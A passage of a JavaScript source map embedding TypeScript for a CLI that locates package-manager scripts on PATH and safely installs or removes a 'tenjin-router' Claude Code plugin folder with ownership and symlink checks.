for `manager`, or null when it has none to find (a native\n * binary, or a shim this cannot see through). Null means \"spawn the bare name\",\n * which works everywhere but win32 and fails closed there.\n */\nexport function resolveManagerScript(\n manager: Delegable,\n execPath: string,\n env: NodeJS.ProcessEnv = process.env,\n): string | null {\n const plan = MANAGERS[manager];\n if (plan.scriptSuffixes.length === 0) return null;\n const beside = plan.besideNode ? scriptNear(dirname(execPath), plan.bin) : null;\n return beside ?? scriptOnPath(plan.bin, plan.scriptSuffixes, env);\n}\n\n/** A manager's script relative to a directory holding `node` or its own shim. */\nfunction scriptNear(dir: string, bin: string): string | null {\n const candidates = [\n join(dir, 'node_modules', bin, 'bin', `${bin}-cli.js`),\n join(dir, '..', 'lib', 'node_modules', bin, 'bin', `${bin}-cli.js`),\n ];\n return candidates.find(isFile) ?? null;\n}\n\n/**\n * Walk PATH for the manager's shim and turn it into its script. Probes the\n * PATHEXT extensions on win32 for the same reason `onPath` in skill-wiring.ts\n * does: the real file there is `npm.cmd`, never a bare `npm`.\n */\nfunction scriptOnPath(\n bin: string,\n suffixes: readonly string[],\n env: NodeJS.ProcessEnv,\n): string | null {\n const exts =\n process.platform === 'win32'\n ? ['', ...(env.PATHEXT ?? '.EXE;.CMD;.BAT;.COM').split(';').filter((e) => e.length > 0)]\n : [''];\n for (const part of (env.PATH ?? '').split(delimiter)) {\n if (part.length === 0) continue;\n for (const ext of exts) {\n if (!isFile(join(part, `${bin}${ext}`))) continue;\n // POSIX package managers link the shim straight at the script, which is\n // what makes this layout-independent rather than a longer guess list.\n //\n // The endsWith is a CORRECTNESS check, not a security guard: it asks \"did\n // this symlink land on npm's script or on something else\", and a shim\n // pointed elsewhere returns null, which falls back to spawning that same\n // retargeted shim anyway. PATH poisoning is out of scope by construction —\n // an attacker ahead of npm on PATH owns every tool the user runs, and the\n // pre-existing fallback `spawn('npm', ...)` resolved through the same PATH.\n const real = realpathOrNull(join(part, `${bin}${ext}`));\n if (real !== null && suffixes.some((suffix) => real.endsWith(suffix))) return real;\n const near = scriptNear(part, bin);\n if (near !== null) return near;\n }\n }\n return null;\n}\n\nfunction isFile(p: string): boolean {\n try {\n return statSync(p).isFile();\n } catch {\n return false;\n }\n}\n\nfunction realpathOrNull(p: string): string | null {\n try {\n return realpathSync(p);\n } catch {\n return null;\n }\n}\n","import { lstat, readdir, readFile, rm, rmdir } from 'node:fs/promises';\nimport { dirname, join, relative, sep } from 'node:path';\nimport { writeFileAtomic } from '../lib/atomic-json';\nimport { PLUGIN_NAME } from './names';\nimport { MOD_FILES, OWNER_MARKER, PLUGIN_FILES, type ModSources } from './plugin-files';\n\n/**\n * THE FOLDER FALLBACK: the plugin as a folder under a config dir's `skills/`,\n * which Claude Code loads in place as `tenjin@skills-dir` with no `claude`\n * command at all (lab, 2026-10-09: the manifest's name wins over the folder's).\n * `install` writes it only where it cannot run `claude plugin`.\n *\n * OWNERSHIP RULES. Only `tenjin-router/` is ever touched, never `skills/tenjin`,\n * where tenjin.sh tells readers to drop its hosted skill. The folder is ours\n * only when it is a real directory (never followed through a link) whose\n * manifest names `tenjin` and carries the `tenjin-cli` marker. Inside it, only\n * the paths in {@link PLUGIN_FILES} are written or unlinked, so a user's own\n * `skills/` or `commands/` there survive every update and uninstall, and a\n * listed path whose parent inside the folder is a link is never written or\n * unlinked, so a linked `skills/tenjin-pay` keeps the user's file behind it.\n */\n\nexport const FOLDER_NAME = 'tenjin-router';\n\n/**\n * The mod's files from a plugin folder that carries them (the package's own\n * `dist/hosts/claude/tenjin`), or undefined when any is missing: the folder\n * fallback then writes the legs and the server without the mod.\n */\nexport async function readModSources(pluginDir: string): Promise<ModSources | undefined> {\n const entries = await Promise.all(\n MOD_FILES.map(async (path) => [path, await readFile(join(pluginDir, path), 'utf8')] as const),\n ).catch(() => null);\n return entries === null ? undefined : (Object.fromEntries(entries) as ModSources);\n}\n\n/** `<base>/skills/tenjin-router`, for a config dir or a project's `.claude`. */\nexport function pluginFolderPath(base: string): string {\n return join(base, 'skills', FOLDER_NAME);\n}\n\nexport type FolderState = 'absent' | 'ours' | 'foreign';\n\nexport async function inspectPluginFolder(dir: string): Promise<FolderState> {\n const entry = await lstat(dir).catch(() => null);\n if (entry === null) return 'absent';\n if (!entry.isDirectory() || entry.isSymbolicLink()) return 'foreign';\n try {\n const manifest = JSON.parse(\n await readFile(join(dir, '.claude-plugin', 'plugin.json'), 'utf8'),\n ) as { name?: unknown; metadata?: Record<string, unknown> };\n const marked =\n manifest.metadata !== null &&\n typeof manifest.metadata === 'object' &&\n OWNER_MARKER in manifest.metadata;\n return manifest.name === PLUGIN_NAME && marked ? 'ours' : 'foreign';\n } catch {\n return 'foreign';\n }\n}\n\n/**\n * The first parent of `path` inside `dir` that exists and is not a real\n * directory, relative to `dir`, or null when every parent is real or absent.\n */\nasync function linkedParent(dir: string, path: string): Promise<string | null> {\n const parents: string[] = [];\n for (let d = dirname(path); d !== '.'; d = dirname(d)) parents.unshift(d);\n for (const parent of parents) {\n const entry = await lstat(join(dir, parent)).catch(() => null);\n if (entry === null) return null;\n if (entry.isSymbolicLink() || !entry.isDirectory()) return parent;\n }\n return null;\n}\n\nexport interface FolderWrite {\n path: string;\n state: 'written' | 'refused';\n reason?: string;\n}\n\n/**\n * Write the listed files, each atomically (a temp file in its own directory,\n * renamed over the file), the manifest last. A folder that exists and is not\n * ours is refused and reported, never overwritten.\n */\nexport async function writePluginFolder(\n dir: string,\n files: Record<string, string>,\n): Promise<FolderWrite> {\n const state = await inspectPluginFolder(dir);\n if (state === 'foreign') {\n return {\n path: dir,\n state: 'refused',\n reason: `${dir} exists and is not a folder this CLI wrote, so it was left as it is`,\n };\n }\n for (const path of PLUGIN_FILES) {\n const linked = await linkedParent(dir, path);\n if (linked !== null) {\n return {\n path: dir,\n state: 'refused',\n reason: `${join(dir, linked)} is a link or not a folder, so nothing in ${dir} was written`,\n };\n }\n }\n try {\n for (const path of PLUGIN_FILES) {\n const body = files[path];\n if (body === undefined) continue;\n await writeFileAtomic(join(dir, path), body);\n }\n } catch (err) {\n return {\n path: dir,\n state: 'refused',\n reason: err instanceof Error ? err.message : String(err),\n };\n }\n return { path: dir, state: 'written' };\n}\n\nexport interface FolderRemoval {\n path: string;\n /** False when there was no folder of ours to remove. */\n removed: boolean;\n /** What is left in the folder that is not ours, relative to it. */\n left: string[];\n reason?: string;\n}\n\n/**\n * Unlink the listed files, remove the subfolders they leave empty, deepest\n * first, and the folder itself only when it is then empty. Never recursive.\n */\nexport async function removePluginFolder(dir: string): Promise<FolderRemoval> {\n const state = await inspectPluginFolder(dir);\n if (state === 'absent') return { path: dir, removed: false, left: [] };\n if (state === 'foreign') {\n return {\n path: dir,\n removed: false,\n left: [],\n reason: `${dir} is not a folder this CLI wrote, so nothing in it was removed`,\n };\n }\n for (const path of PLUGIN_FILES) {\n if ((await linkedParent(dir, path)) === null) await rm(join(dir, path), { force: true });\n }\n // Every ancestor of every file, deepest first: a nested skill directory\n // leaves its parent behind otherwise.\n const subdirs = [\n ...new Set(\n PLUGIN_FILES.flatMap((p) => {\n const out: string[] = [];\n for (let d = dirname(p); d !== '.'; d = dirname(d)) out.push(d);\n return out;\n }),\n ),\n ].sort((a, b) => b.split('/').length - a.split('/').length);\n for (const sub of subdirs) await rmdir(join(dir, sub)).catch(() => undefined);\n const left = await listFiles(dir);\n if (left.length === 0) await rmdir(dir).catch(() => undefined);\n return { path: dir, removed: true, left };\n}\n\nasync function listFiles(dir: string): Promise<string[]> {\n const out: string[] = [];\n const walk = async (current: string): Promise<void> => {\n for (const entry of await readdir(current, { withFileTypes: true }).catch(() => [])) {\n const path = join(current, entry.name);\n if (entry.isDirectory()) await walk(path);\n else out.push(relative(dir, path).split(sep).join('/'));\n }\n };\n await walk(dir);\n return out.sort();\n}\n"],"mappings":";;;;;;;;;;;;;;;;;AAAA,SAAS,YAAY,cAAc,gBAAgB;AACnD,SAAS,WAAW,SAAS,MAAM,WAAW;AAkDvC,IAAM,WAA+B;AAAA,EAC1C;AAAA,IACE,MAAM;AAAA,IACN,OAAO,MACL,IAAI,SAAS,WAAW,gEAAgE;AAAA,MACtF,KAAK;AAAA,IACP,CAAC;AAAA,IACH,cAAc;AAAA,IACd,gBA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